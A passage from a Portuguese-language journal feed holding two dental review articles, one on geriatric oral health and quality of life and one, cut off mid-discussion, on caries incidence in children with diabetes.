href="https://orcid.org/0000-0001-7130-5045">https://orcid.org/0000-0001-7130-5045</a>) Universidade Estadual do Oeste do Paraná, Brasil<br><sup>9</sup>(ORCID: <a href="https://orcid.org/0009-0003-9740-8597">https://orcid.org/0009-0003-9740-8597</a>) Universidade Estadual do Oeste do Paraná, Brasil<br><sup>10</sup>(ORCID: <a href="https://orcid.org/0000-0003-0486-8512">https://orcid.org/0000-0003-0486-8512</a>) Universidade Estadual do Oeste do Paraná, Brasil. E-mail: biberes@terra.com.br<br><sup>11</sup>(ORCID: <a href="https://orcid.org/0000-0002-3611-2149">https://orcid.org/0000-0002-3611-2149</a>) Universidade Estadual do Oeste do Paraná, Brasil. E-mail: rolando.pezzini@unioeste.br</p>
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		<title>O PAPEL DA ODONTOLOGIA NA SAÚDE BUCAL E QUALIDADE DE VIDA DO IDOSO: DESAFIOS DO CUIDADO INTEGRAL</title>
		<link>https://revistaft.com.br/o-papel-da-odontologia-na-saude-bucal-e-qualidade-de-vida-do-idoso-desafios-do-cuidado-integral/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 11 Dec 2025 16:04:30 +0000</pubDate>
				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512111302 Gabriela Pereira da Silva AragãoOrientadora: Ma. Luciana Freitas Bezerra RESUMO&#160; O presente artigo discorre sobre as principais dificuldades enfrentadas diariamente pela população idosa em relação à saúde bucal. Além disso, evidencia as patologias orais mais recorrentes e aborda o papel do cirurgião dentista na odontogeriatria, bem como sua contribuição para a melhoria [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512111302</p>



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<p class="has-text-align-right wp-block-paragraph">Gabriela Pereira da Silva Aragão<br>Orientadora: Ma. Luciana Freitas Bezerra</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente artigo discorre sobre as principais dificuldades enfrentadas diariamente pela população idosa em relação à saúde bucal. Além disso, evidencia as patologias orais mais recorrentes e aborda o papel do cirurgião dentista na odontogeriatria, bem como sua contribuição para a melhoria da qualidade de vida desse grupo etário e a relevância dos cuidados de promoção e prevenção. A odontologia, por meio de intervenções preventivas e restauradoras, contribui para a recuperação das funções orais, promovendo maior autonomia do idoso em atividades diárias, como alimentação e higiene bucal. A saúde oral impacta diretamente a autoestima e a socialização do indivíduo, e a&nbsp; população idosa, em grande parte, tem esse aspecto frequentemente negligenciado, o que pode gerar sérias consequências, como prejuízos funcionais, estéticos, nutricionais e psicossociais. Muitos idosos encontram obstáculos ao buscar atendimento odontológico, como questões socioeconômicas, mobilidade reduzida, comorbidades crônicas e residência em áreas rurais, o que&nbsp; dificulta o acesso aos cuidados necessários. Contudo, o papel do cirurgião-dentista é garantir que a Odontologia atenda de maneira eficaz e promova não apenas a saúde oral, mas também o bem-estar e a qualidade de vida integral ao idoso.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Odontogeriatria; Saúde Bucal do Idoso; Teleodontologia; Qualidade de vida; Equipe Multidisciplinar.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">This article discusses the main difficulties faced daily by the elderly population regarding oral health. In addition, it highlights the most recurrent oral pathologies and addresses the role of the dentist in geriatric dentistry, as well as their contribution to improving the quality of life of this age group and the relevance of preventive and promotional care. Dentistry, through preventive and restorative interventions, contributes to the recovery of oral functions, promoting greater autonomy for older adults in daily activities such as eating and oral hygiene. Oral health directly affects an individual’s self-esteem and socialization, and the elderly population, in many cases, has this aspect frequently neglected, which can lead to serious consequences, such as functional, aesthetic, nutritional, and psychosocial impairments. Many older adults encounter obstacles when seeking dental care, such as socioeconomic issues, reduced mobility, chronic comorbidities, and living in rural areas, which hinder access to necessary treatment. However, the role of the dentist is to ensure that Dentistry provides effective care and promotes not only oral health, but also the overall well-being and quality of life of the elderly.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Geriatric Dentistry; Oral Health of the Elderly; Teledentistry; Quality of Life; Multidisciplinary Team.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente artigo consiste em uma revisão de literatura que tem como objetivo compreender os principais desafios enfrentados pela população idosa em relação à saúde bucal. É fulcral evidenciar o papel do cirurgião-dentista na promoção e prevenção de doenças, bem como na melhoria da qualidade de vida desses indivíduos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Segundo dados do Censo Demográfico de 2022, o país possui 32,1 milhões de pessoas com 60 anos ou mais, o que representa cerca de 15,6% da população total (IBGE, 2022). A Odontogeriatria é a especialidade da odontologia que tem como objetivo cuidar desse grupo etário, com atenção às predisposições a doenças sistêmicas, atuando tanto na prevenção quanto no tratamento curativo.&nbsp;</p>



<p class="wp-block-paragraph">A falta de informação sobre a conduta de cuidados bucais dos idosos, tanto por parte do próprio idoso quanto da família, faz com que familiares e cuidadores tratem a perda dentária como algo normal do envelhecimento. Isso se deve à falta de atenção especializada em Odontogeriatria.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>OBJETIVOS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Objetivo geral&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo tem como objetivo discorrer sobre os desafios enfrentados diariamente pela população idosa em relação à saúde bucal, decorrentes da deficiência de informações e da presença de comorbidades. Além disso, busca destacar a importância da atenção à saúde bucal do idoso e seus impactos na qualidade de vida, visando reduzir a incidência das patologias bucais mais recorrentes.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2 Objetivos específicos&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Salientar as principais dificuldades enfrentadas pelos idosos em relação à saúde bucal.&nbsp;&nbsp;&nbsp;</li>



<li>Identificar os problemas bucais mais recorrentes nessa população.&nbsp;&nbsp;</li>



<li>Evidenciar a importância dos cuidados preventivos para evitar doenças bucais.&nbsp;&nbsp;</li>



<li>Abordar os principais tratamentos curativos voltados às patologias bucais.&nbsp;&nbsp;</li>



<li>Destacar o papel do cirurgião dentista na odontogeriatria.&nbsp;&nbsp;</li>
</ul>



<p class="wp-block-paragraph"><strong>3. METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">A abordagem metodológica adotada neste trabalho consiste em uma revisão narrativa de literatura sobre o papel da odontologia na saúde bucal e qualidade de vida do idoso, com o objetivo de garantir um atendimento humanizado.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A execução deste trabalho envolveu a coleta de informações de forma criteriosa nas bases de dados científicas: Scientific Electronic Library Online (SciELO), Google Acadêmico e PubMed.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os critérios de inclusão adotados foram artigos publicados entre 2020 e 2025 que apresentassem informações relevantes sobre o tema. A pesquisa foi norteada pelas seguintes palavras-chave: “Odontogeriatria”, “Saúde bucal do idoso”, “Qualidade de vida”,&nbsp; &#8220;Teleodontologia” e “Equipe Multidisciplinar”. Os critérios de exclusão foram artigos com mais de cinco anos de publicação e que não eram pertinentes à finalidade do estudo. Artigos publicados em outros idiomas foram traduzidos para análise crítica posterior.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>REVISÃO DE LITERATURA&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>4.1&nbsp;A saúde bucal e os desafios enfrentados pelos idosos&nbsp;</strong></p>



<p class="wp-block-paragraph">A saúde bucal exerce influência direta sobre a autoestima e a convivência social do indivíduo. Muitos encontram barreiras ao buscar atendimento odontológico, como questões socioeconômicas, mobilidade reduzida, comorbidades crônicas, residência em áreas rurais, pandemia, entre outras. A Teleodontologia é uma tecnologia que consiste em uma alternativa promissora que pode proporcionar a essas pessoas a atenção e o acompanhamento necessários para o bem-estar físico e emocional (Ben-Omran et al., 2021; Niknam et al., 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As patologias orais presentes nos pacientes idosos resultam de hábitos acumulados ao longo da vida, como a carência de higiene bucal, de serviços odontológicos, além do tabagismo e do etilismo. Diante da necessidade de fortalecer a atenção à saúde da população de idade avançada, as políticas públicas devem priorizar ações de cuidado, prevenção e expansão dos serviços especializados para esse grupo, visando aprimorar a qualidade de vida (Azami-Aghdash et al., 2021; Andrade et al., 2025; Teixeira; Souza Júnior, 2025).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.2&nbsp;Principais problemas bucais recorrentes na população idosa&nbsp;</strong></p>



<p class="wp-block-paragraph">Os idosos, seus familiares e cuidadores devem ser orientados quanto à importância dos cuidados com a saúde da boca, da reabilitação protética em casos de ausência dentária e do risco aumentado de agravo de condições como cárie e doença periodontal, que podem comprometer o bem-estar desse paciente. Além disso, comorbidades sistêmicas, como diabetes, frequente nessa faixa etária, podem agravar esses problemas e elevar o risco de infecções orais. (Janto et al., 2022; Liu et al., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A perda dentária, comum entre idosos, está associada a prejuízos funcionais, estéticos, nutricionais e psicossociais, podendo desencadear dificuldades mastigatórias, alterações na fala e impactos na autoestima. Esse comprometimento funcional é frequentemente decorrente de histórico de cárie, doença periodontal e limitada utilização de serviços ao longo da vida (Cortez et al., 2023; Santos et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Pesquisas recentes também demonstram o aumento da procura por reabilitação oral e cuidados preventivos, o que requer a atuação de equipes multidisciplinares para desenvolver estratégias voltadas à prevenção, recuperação funcional e acompanhamento contínuo.(Yu et al., 2024; Lipsky et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.3&nbsp;O papel do cirurgião-dentista na odontogeriatria</strong>&nbsp;</p>



<p class="wp-block-paragraph">O cirurgião-dentista desempenha um papel de suma importância na odontogeriatria, oferecendo ações de prevenção e promoção de saúde.&nbsp; Muitos idosos chegam ao consultório com queixas que vão além de problemas bucais, incluindo experiências de negligência ou inseguranças. A escuta e o atendimento humanizado envolve acolher o paciente de forma integral, respeitando suas limitações, particularidades e valorizando suas necessidades e história.&nbsp; <strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">Portanto, seu trabalho consiste em promover longevidade com qualidade, garantindo que o idoso mantenha a capacidade de sorrir, falar e mastigar com dignidade, elementos vitais para a autoestima e a interação social. O cirurgião-dentista torna-se, assim, um fator determinante para a melhoria da qualidade de vida e do bem-estar por meio da Odontologia.&nbsp; (Janto et al., 2022; Lipsky et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>RESULTADOS&nbsp;</strong></p>



<p class="wp-block-paragraph">Os estudos analisados evidenciam que a negligência da saúde bucal do idoso pode gerar sérias consequências como o aumento do risco do desenvolvimento ou agravamento de doenças sistêmicas, incluindo diabetes, doenças cardiovasculares, e até mesmo septicemia. É fundamental discorrer sobre os desafios que esse grupo enfrenta diariamente, as patologias bucais mais frequentes, a importância da higiene oral, do uso da prótese dentária quando necessário, entre outros cuidados. &nbsp;</p>



<p class="wp-block-paragraph">A atenção e o cuidado à saúde bucal do idoso contribuem significativamente para a qualidade de vida e a longevidade desse paciente, diminuindo o risco de infecções, evitando tratamentos invasivos e melhorando a digestão, a fala, a mastigação e a autoestima. Essa população apresenta necessidades de saúde oral específicas que diferem das outras faixas etárias; o uso de múltiplos medicamentos pode causar hipossalivação e xerostomia, enquanto problemas dentários e próteses mal adaptadas podem levar a dietas restritivas que impactam o estado nutricional do indivíduo. A dor, o mau hálito e a aparência insatisfatória também podem prejudicar sua interação social e convivência. Portanto, o papel do cirurgião-dentista é garantir que a Odontologia atenda de forma eficaz e promova não apenas saúde bucal, mas qualidade de vida integral ao idoso. &nbsp;</p>



<p class="wp-block-paragraph"><strong>6.</strong> <strong>DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">É consenso na literatura que a saúde bucal está diretamente relacionada ao bem-estar emocional do paciente. O idoso sofre com modificações na cavidade oral que dificultam a capacidade mastigatória e a deglutição, como a diminuição da saliva e do paladar. O edentulismo, o uso de próteses desconfortáveis, a halitose e o comprometimento mastigatório e fonético, podem gerar vergonha, insegurança e isolamento social. O indivíduo que se sente constrangido com sua condição oral tende a evitar o convívio com outras pessoas, o que pode resultar em quadros de ansiedade e depressão.&nbsp;</p>



<p class="wp-block-paragraph">Evidencia-se também a necessidade de criar estratégias e planos de intervenção para aumentar a participação de pacientes e suas famílias no ambiente odontológico. A integração dos cuidados odontológicos com a saúde geral é fundamental, especialmente diante das comorbidades existentes. Os métodos de prevenção são o pilar da Odontogeriatria, com o propósito de preservar a capacidade funcional do sistema estomatognático, por meio de procedimentos como profilaxia, educação e orientação de higiene oral, visando reduzir a incidência de patologias bucais. &nbsp;</p>



<p class="wp-block-paragraph"><strong>7.</strong> <strong>CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Conclui-se com este estudo que a atuação do cirurgião-dentista vai além dos métodos de promoção e prevenção, pois a função exige o acompanhamento integral do indivíduo, com amor, paciência e acolhimento, respeitando suas particularidades e inseguranças. A odontogeriatria não se restringe à saúde bucal e às patologias orais, tendo em vista que as consequências da desinformação&nbsp; por parte do idoso, familiares e cuidadores, impactam significativamente o estado físico e emocional do paciente, seu bem-estar e sua condição de vida. Diante da necessidade de fortalecer a atenção à saúde da população idosa, as políticas públicas devem priorizar ações de assistência e cuidado. É essencial que novas estratégias sejam adotadas para mitigar a incidência de doenças bucais, evitar o agravamento de comorbidades existentes e facilitar o acesso ao atendimento odontológico específico e necessário, como a Teleodontologia, uma tecnologia que oferece à população idosa os cuidados indispensáveis.&nbsp;</p>



<p class="wp-block-paragraph"><strong>8.</strong> <strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>ANDRADE, B. de et al.</strong> Fatores associados às desigualdades socioeconômicas no uso de serviços odontológicos entre idosos brasileiros: uma análise de decomposição Oaxaca-Blinder. <em>BMC Saúde Bucal</em>, v. 25, n. 1, p. 1392, 2025. Doi: 10.1186/s12903-025-06709-5.&nbsp;</p>



<p class="wp-block-paragraph"><strong>AZAMI-AGHDASH, S. et al.</strong> Oral health–related quality of life in elderly: a systematic review and meta-analysis. <em>Iranian Journal of Public Health</em>, v. 50, n. 4, p. 689–700, 2021. Doi: 10.18502/ijph.v50i4.5993.&nbsp;</p>



<p class="wp-block-paragraph"><strong>BEN-OMRAN, M. O. et al.</strong> O uso da teleodontologia para facilitar a saúde bucal de idosos: uma revisão de escopo. <em>Journal of the American Dental Association</em>, v. 152,&nbsp;n. 12, p. 998–1011.e17, 2021. Doi: 10.1016/j.adaj.2021.06.005.&nbsp;</p>



<p class="wp-block-paragraph"><strong>CORTEZ, G. F. P. et al.</strong> Razões e consequências da perda dentária em adultos e idosos no Brasil: uma metassíntese qualitativa. <em>Ciência &amp; Saúde Coletiva</em>, v. 28, n. 5,&nbsp;p. 1413–1424, 2023. Doi: 10.1590/1413-81232023285.01632022.&nbsp;</p>



<p class="wp-block-paragraph"><strong>IBGE – Instituto Brasileiro de Geografia e Estatística.</strong> Censo Demográfico 2022: População por faixa etária. Rio de Janeiro: IBGE, 2022. Disponível em:<a href="https://censo2022.ibge.gov.br/"> https://censo2022.ibge.gov.br</a>.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>JANTO, M. et al.</strong> Saúde bucal entre idosos, impacto na qualidade de vida, acesso de pacientes idosos a serviços de saúde bucal e métodos para melhorar a saúde bucal: uma revisão narrativa. <em>Journal of Personalized Medicine</em>, v. 12, n. 3, p. 372, 2022. Doi: 10.3390/jpm12030372.&nbsp;</p>



<p class="wp-block-paragraph"><strong>LIU, F. et al.</strong> Múltiplos resultados relacionados à saúde bucal da saúde holística em idosos: uma revisão abrangente de revisões sistemáticas e meta-análises. <em>Frontiers in Public Health</em>, v. 10, p. 1021104, 2022. Doi: 10.3389/fpubh.2022.1021104.&nbsp;</p>



<p class="wp-block-paragraph"><strong>LIPSKY, M. S. et al.</strong> Oral health and older adults: a narrative review. <em>Dentistry Journal</em>, v. 12, n. 2, p. 30, 2024. Doi: 10.3390/dj12020030.&nbsp;</p>



<p class="wp-block-paragraph"><strong>NIKNAM, F. et al.</strong> Teleodontologia, suas tendências, escopo e futuro quadro na medicina bucal: uma revisão de escopo entre janeiro de 1999 e dezembro de 2021.&nbsp;<em>Archives of Public Health</em>, v. 81, n. 1, p. 104, 2023. Doi:&nbsp;10.1186/s13690-023-01128-w.&nbsp;</p>



<p class="wp-block-paragraph"><strong>SANTOS, A. S. F. et al.</strong> Uso de serviços de saúde bucal entre idosos brasileiros: mediação pela perda de dentes. <em>Ciência &amp; Saúde Coletiva</em>, v. 27, n. 7, p. 2777–2788, 2022. Doi: 10.1590/1413-81232022277.22122021.&nbsp;</p>



<p class="wp-block-paragraph"><strong>TEIXEIRA, A. K. M.; SOUZA JÚNIOR, P. R. B.</strong> Evolução das desigualdades socioeconômicas na saúde bucal e no uso de serviços odontológicos na população adulta do Brasil entre 2013 e 2019. <em>Cadernos de Saúde Pública</em>, v. 41, n. 8, p. e00162324, 2025. Doi: 10.1590/0102-311XEN162324.</p>



<p class="wp-block-paragraph"><strong>YU, J. et al.</strong> Pesquisas sobre pontos críticos e tendências sobre saúde bucal em idosos de 2013 a 2023: uma análise bibliométrica e visual. <em>Heliyon</em>, v. 10, n. 3, p. e25243, 2024. Doi: 10.1016/j.heliyon.2024.e25243.</p>



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			</item>
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		<title>INCIDÊNCIA DA DOENÇA CÁRIE EM CRIANÇAS COM DIABETES</title>
		<link>https://revistaft.com.br/incidencia-da-doenca-carie-em-criancas-com-diabetes/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 20:33:27 +0000</pubDate>
				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512101732 Paula Cristina Batista de MacedoOrientadora: Profa. Luciana BezerraCoorientador: Paulo Victor da Costa Campos RESUMO O diabetes é uma doença metabólica crônica caracterizada por alterações na produção ou ação da insulina, que pode provocar repercussões sistêmicas e bucais, especialmente em crianças. Este trabalho teve como objetivo analisar, por meio de uma revisão integrativa [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512101732</p>



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<p class="has-text-align-right wp-block-paragraph">Paula Cristina Batista de Macedo<br>Orientadora: Profa. Luciana Bezerra<br>Coorientador: Paulo Victor da Costa Campos</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">O diabetes é uma doença metabólica crônica caracterizada por alterações na produção ou ação da insulina, que pode provocar repercussões sistêmicas e bucais, especialmente em crianças. Este trabalho teve como objetivo analisar, por meio de uma revisão integrativa da literatura, a relação entre o diabetes e a incidência de cárie dentária em crianças, considerando também os impactos do estilo de vida moderno sobre o desenvolvimento da doença. Foram selecionados artigos científicos publicados entre 2017 e 2024, nas bases de dados PubMed, Scielo e Google Acadêmico, que abordavam a associação entre o controle glicêmico, fatores comportamentais e saúde bucal infantil.</p>



<p class="wp-block-paragraph">Os estudos evidenciaram que o controle inadequado da glicemia está associado à hipossalivação, aumento da glicose salivar e maior suscetibilidade à cárie. Por outro lado, crianças com diabetes bem controlado e acompanhamento odontológico regular apresentaram menor risco de desenvolvimento da doença. Além disso, observou-se que as mudanças nos hábitos alimentares e a redução da prática de atividades físicas contribuem para o aumento dos casos de diabetes tipo 2 e agravos bucais, reforçando a importância da educação em saúde e da atuação interdisciplinar.</p>



<p class="wp-block-paragraph">Conclui-se que o diabetes infantil deve ser compreendido de forma ampla, considerando fatores metabólicos, comportamentais e sociais. A integração entre profissionais da saúde e o estímulo a hábitos de vida saudáveis são fundamentais para prevenir complicações sistêmicas e bucais, promovendo melhor qualidade de vida às crianças.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Diabetes infantil. Cárie dentária. Saúde bucal. Estilo de vida. Prevenção<strong>.</strong></p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">Diabetes is a chronic metabolic disease characterized by alterations in insulin production or action, which can cause both systemic and oral repercussions, especially in children. This study aimed to analyze, through an integrative literature review, the relationship between diabetes and the incidence of dental caries in children, also considering the impact of modern lifestyle habits on disease development. Scientific articles published between 2017 and 2024 were selected from the PubMed, Scielo, and Google Scholar databases, addressing the association between glycemic control, behavioral factors, and oral health in childhood.</p>



<p class="wp-block-paragraph">The studies showed that inadequate glycemic control is associated with hyposalivation, increased salivary glucose, and higher susceptibility to caries. On the other hand, children with well-controlled diabetes and regular dental follow-up presented a lower risk of developing the disease. Furthermore, changes in eating habits and the reduction of physical activity contribute to the growing incidence of type 2 diabetes and oral health problems, reinforcing the importance of health education and interdisciplinary care.</p>



<p class="wp-block-paragraph">It is concluded that childhood diabetes should be understood in a broad perspective, considering metabolic, behavioral, and social factors. The integration of healthcare professionals and the promotion of healthy lifestyle habits are essential to prevent systemic and oral complications, improving children’s quality of life.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Childhood diabetes. Dental caries. Oral health. Lifestyle. Prevention.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A saúde bucal infantil é um importante indicador da qualidade de vida e bem-estar das crianças, influenciando diretamente a nutrição, o desenvolvimento da fala e a autoestima. Entre as doenças bucais mais prevalentes na infância, a cárie dentária destaca-se por sua natureza multifatorial, resultante da interação entre microrganismos do biofilme dental, dieta rica em açúcares, higiene bucal deficiente e tempo de exposição a esses fatores (BRASIL, 2023; ALMEIDA et al., 2017).</p>



<p class="wp-block-paragraph">O diabetes é uma condição metabólica crônica caracterizada pela deficiência na produção ou utilização da insulina, levando à hiperglicemia persistente. Em crianças, o controle inadequado da glicemia pode gerar diversas complicações sistêmicas e bucais, como hipossalivação, aumento da glicose salivar e maior suscetibilidade a infecções orais (SOCIEDADE BRASILEIRA DE DIABETES, 2024; WANG et al., 2019).</p>



<p class="wp-block-paragraph">Essas alterações favorecem um ambiente bucal propício à desmineralização do esmalte, podendo aumentar o risco de cárie. No entanto, estudos mostram resultados divergentes quanto à prevalência dessa doença em crianças com diabetes, sugerindo que o controle metabólico, os hábitos alimentares e o acompanhamento odontológico influenciam significativamente esse quadro (ORBAK et al., 2008; MUNALULA et al., 2022).</p>



<p class="wp-block-paragraph">Assim, compreender a relação entre o diabetes e a incidência de cárie em crianças é essencial para o desenvolvimento de estratégias preventivas e educativas que fortaleçam o cuidado interdisciplinar entre profissionais da odontologia, medicina e nutrição (ISMAIL; MCGRATH; YIU, 2017; MAGNANI et al., 2021).</p>



<p class="wp-block-paragraph"><strong>2. OBJETIVO</strong></p>



<p class="wp-block-paragraph"><strong>2.1 OBJETIVO GERAL</strong></p>



<p class="wp-block-paragraph">Investigar a incidência da cárie dentária em crianças com diabetes, analisando os fatores de risco associados e discutindo as implicações clínicas dessa condição com base na literatura científica atual.</p>



<p class="wp-block-paragraph"><strong>2.2 OBJETIVOS ESPECÍFICOS</strong></p>



<ul class="wp-block-list">
<li>Revisar a literatura científica sobre as alterações bucais associadas ao diabetes em crianças.</li>



<li>Identificar os fatores sistêmicos e bucais que podem contribuir para o aumento do risco de cárie dentária nessa população.</li>



<li>Comparar a prevalência de cárie dentária em crianças com e sem diabetes, com base em estudos disponíveis.</li>



<li>Avaliar a influência do controle glicêmico, da composição salivar e dos hábitos alimentares sobre a incidência de cárie.</li>



<li>Discutir a importância do acompanhamento odontológico preventivo e interdisciplinar no manejo da saúde bucal de crianças com diabetes.</li>
</ul>



<p class="wp-block-paragraph"><strong>3. METODOLOGIA</strong></p>



<p class="wp-block-paragraph">Esta pesquisa consiste em uma revisão integrativa da literatura, fundamentada em uma estratégia de busca minuciosa e criteriosa em bases de dados reconhecidas, a saber: Scientific Electronic Library Online (SCIELO), Literatura Latino-Americana e do Caribe em Ciências da Saúde (LILACS), Bibliografia Brasileira de Odontologia (BBO), Scholar Google e National Library of Medicine (PUBMED/Medline). Para a seleção dos estudos, foram empregados os seguintes descritores: “Saúde bucal na infância”, “diabetes infantil”, “Odontopediatria”, “Alterações salivares” e “Cárie dentária”, contemplando publicações em português e inglês.</p>



<p class="wp-block-paragraph">Os critérios de inclusão adotados abrangem artigos disponíveis na íntegra, publicados nos últimos cinco anos, e que englobem estudos observacionais, relatos de caso e revisões de literatura. Foram excluídos trabalhos cuja data de publicação exceda cinco anos, protocolos de tratamento que não estejam alinhados com a temática proposta e estudos que não apresentem clareza metodológica ou conceitual sobre o objeto de análise. Os dados obtidos serão minuciosamente analisados e discutidos, de modo a embasar a construção e o aprofundamento desta investigação.</p>



<p class="wp-block-paragraph"><strong>4. RESULTADOS</strong></p>



<p class="wp-block-paragraph">Foram selecionados artigos que abordaram a relação entre o diabetes e a incidência de cárie dentária em crianças, bem como estudos recentes que analisaram o impacto do estilo de vida moderno sobre o desenvolvimento de diabetes e suas repercussões para a saúde bucal.</p>



<p class="wp-block-paragraph">Os estudos incluídos demonstraram <strong>heterogeneidade metodológica</strong>, abrangendo desde revisões sistemáticas até estudos observacionais e microbiológicos. De maneira geral, observou-se que <strong>crianças com diabetes apresentam maior vulnerabilidade a alterações salivares</strong>, como hipossalivação e aumento da glicose salivar, o que pode favorecer o desenvolvimento de lesões cariosas. Contudo, pesquisas também indicam que <strong>a adesão ao acompanhamento odontológico e médico regular</strong> pode reduzir essa predisposição, destacando a importância da interdisciplinaridade no manejo desses pacientes (WANG et al., 2019; MUNALULA et al., 2022).</p>



<p class="wp-block-paragraph">Paralelamente, os resultados evidenciaram uma <strong>mudança significativa no estilo de vida infantil e adolescente</strong>, marcada pelo aumento do consumo de alimentos ultraprocessados, maior frequência de refeições fora de casa e redução das atividades físicas. Estudos recentes apontam que <strong>esses hábitos comportamentais têm relação direta com o aumento da obesidade e da resistência à insulina</strong>, principais fatores associados ao surgimento do diabetes tipo 2 nessa faixa etária (GINGRAS et al., 2018; MOHAMMADBEIGI et al., 2018; SAGASTUME et al., 2022; PINHAS-HAMIEL, 2023).</p>



<p class="wp-block-paragraph">Essas evidências reforçam a necessidade de compreender o diabetes em uma <strong>abordagem ampliada</strong>, que envolva não apenas fatores metabólicos, mas também <strong>determinantes sociais e comportamentais</strong>, capazes de interferir tanto no controle glicêmico quanto na saúde bucal. Dessa forma, torna-se essencial integrar estratégias educativas que envolvam nutrição, prática de atividades físicas e hábitos alimentares saudáveis, associadas à prevenção odontológica desde a infância.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1</strong> – Síntese dos estudos incluídos na revisão integrativa</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="744" height="444" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-860.png" alt="" class="wp-image-258588" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-860.png 744w, https://revistaft.com.br/wp-content/uploads/2025/12/image-860-300x179.png 300w" sizes="(max-width: 744px) 100vw, 744px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: A autora (2025).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 2</strong> – Estudos selecionados sobre mudanças no estilo de vida em crianças/adolescentes e implicações para diabetes (e saúde bucal).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="727" height="524" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-861.png" alt="" class="wp-image-258589" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-861.png 727w, https://revistaft.com.br/wp-content/uploads/2025/12/image-861-300x216.png 300w" sizes="(max-width: 727px) 100vw, 727px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: A autora (2025).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong></p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="683" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-862-1024x683.png" alt="" class="wp-image-258591" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-862-1024x683.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/12/image-862-300x200.png 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-862-768x512.png 768w, https://revistaft.com.br/wp-content/uploads/2025/12/image-862.png 1536w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph"><strong>5. DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">Os resultados encontrados nesta revisão integrativa evidenciam que a relação entre o diabetes e a cárie dentária em crianças é complexa e multifatorial. Diversos estudos demonstraram que o controle glicêmico inadequado está associado a alterações na composição e no fluxo salivar, como hipossalivação e aumento da concentração de glicose na saliva, fatores que favorecem o desenvolvimento de microrganismos cariogênicos e, consequentemente, aumentam o risco de cárie dentária (WANG et al., 2019; ISMAIL; MCGRATH; YIU, 2017).</p>



